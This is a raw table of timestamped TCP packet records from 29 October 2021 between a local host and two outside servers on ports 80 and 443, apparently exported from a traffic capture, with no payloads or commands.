Oct 29, 2021 20:29:52.272388935 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272391081 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.272413015 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272434950 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272435904 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.272458076 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272469997 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.272480011 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272516012 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.272559881 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.272833109 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.324702024 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:53.125422001 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.161252022 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161326885 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161356926 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161387920 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.161395073 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161407948 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161438942 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.161696911 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161730051 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161761045 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161766052 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.161782980 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161808968 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.161819935 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161853075 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161880016 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161884069 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.161895990 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161935091 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161957979 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.161963940 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161974907 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.161983967 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162018061 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162039042 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162045002 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162055016 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162095070 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162101984 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162111998 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162156105 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162156105 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162164927 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162204981 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162206888 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162213087 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162239075 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162266970 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162293911 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162329912 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162339926 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162344933 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162357092 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162384033 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162403107 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162406921 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162414074 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162450075 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162460089 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162489891 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162518024 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162528992 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162539959 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162569046 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162589073 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162596941 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162628889 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162651062 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162659883 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162693024 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162714005 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162723064 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162734985 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.162784100 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.162791014 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.178776979 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.178992987 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179025888 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179054022 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179068089 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179071903 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179126024 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179138899 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179152012 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179203033 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179214001 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179225922 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179269075 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179276943 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179287910 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179327011 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179328918 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179388046 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179399967 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179411888 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179445028 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179457903 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179482937 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179482937 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179523945 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179528952 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179539919 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179574013 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179584980 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179596901 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179611921 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179636955 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179651022 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179699898 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179711103 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179763079 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179766893 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179778099 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179816961 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179845095 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179898024 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.179903030 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179913044 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.179949999 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.184880972 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.185192108 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.196739912 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.196814060 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.196832895 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.196885109 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.196887970 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.196904898 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.196948051 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.196950912 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.196988106 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.196997881 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197009087 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197036028 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197043896 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197061062 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197093964 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197148085 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197160959 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197175026 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197230101 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197240114 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197251081 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197288036 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197297096 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197308064 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197339058 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197351933 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197400093 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197408915 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197419882 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197465897 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197468996 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197479010 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197516918 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197526932 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197576046 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197587013 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197643995 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197649002 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197659016 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197699070 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197726965 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197766066 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197781086 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197788954 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197814941 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197834969 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197873116 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197880983 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197890043 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.197923899 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.197957993 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198002100 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.198010921 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198023081 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198067904 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198076010 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.198086977 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198117018 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.198141098 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.198261023 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198306084 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198322058 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198328018 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.198337078 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198376894 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.198436975 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.198584080 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.198587894 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198611975 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198657036 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.198668957 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198708057 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.198733091 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.198858976 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198908091 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.198925972 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.198932886 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.199003935 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.199110985 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.199130058 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.199187994 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.199197054 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.199238062 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.199352026 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.199369907 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.199384928 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.199394941 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.199425936 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.199476957 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.199732065 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.199752092 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.199820042 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.199831963 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.199992895 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.200010061 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.200086117 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.200099945 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.211802959 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.217442989 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.217474937 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.217546940 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.217578888 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.217597961 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.217639923 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.217639923 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.217654943 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.217684984 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.217690945 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.217720032 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.217755079 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.217762947 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.217791080 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.217823982 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.217830896 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.217860937 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.217875004 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:53.217902899 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.217928886 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.219387054 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.220726967 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:53.223926067 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:54.035245895 CEST	49779	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.087069988 CEST	80	49779	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.087848902 CEST	49779	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.088094950 CEST	49779	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.088171959 CEST	49779	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.139966011 CEST	80	49779	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.166321993 CEST	80	49779	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.166407108 CEST	49779	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.167171955 CEST	49779	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.202256918 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.218866110 CEST	80	49779	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.255390882 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.255605936 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.255789995 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.255799055 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.308695078 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.335072041 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.335375071 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.336752892 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.374841928 CEST	49781	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.389758110 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.428556919 CEST	80	49781	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.428795099 CEST	49781	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.428915977 CEST	49781	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.428921938 CEST	49781	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.509980917 CEST	80	49781	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.510337114 CEST	49781	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.510371923 CEST	49781	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.545511007 CEST	49782	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.564523935 CEST	80	49781	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.598808050 CEST	80	49782	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.601011992 CEST	49782	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.601206064 CEST	49782	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.601224899 CEST	49782	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.654278994 CEST	80	49782	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.654542923 CEST	80	49782	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.682990074 CEST	80	49782	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.685349941 CEST	49782	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.685637951 CEST	49782	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.723825932 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.739928961 CEST	80	49782	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.776525021 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.777059078 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.777343035 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.777355909 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.858685970 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.858711958 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.858724117 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.858741045 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.858757019 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.858773947 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.858791113 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.858803034 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.858814955 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.858828068 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.858825922 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.859119892 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.910676003 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.910711050 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.910809994 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.910902023 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.910911083 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.910923958 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.910958052 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.910979986 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911000967 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911021948 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911045074 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911055088 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.911067009 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911091089 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911104918 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.911139011 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.911243916 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911266088 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911288023 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911309004 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911330938 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911335945 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.911353111 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911375999 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911377907 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.911398888 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.911405087 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.911453962 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.962713003 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.962740898 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.962762117 CEST	80	49783	185.98.87.159	192.168.2.7
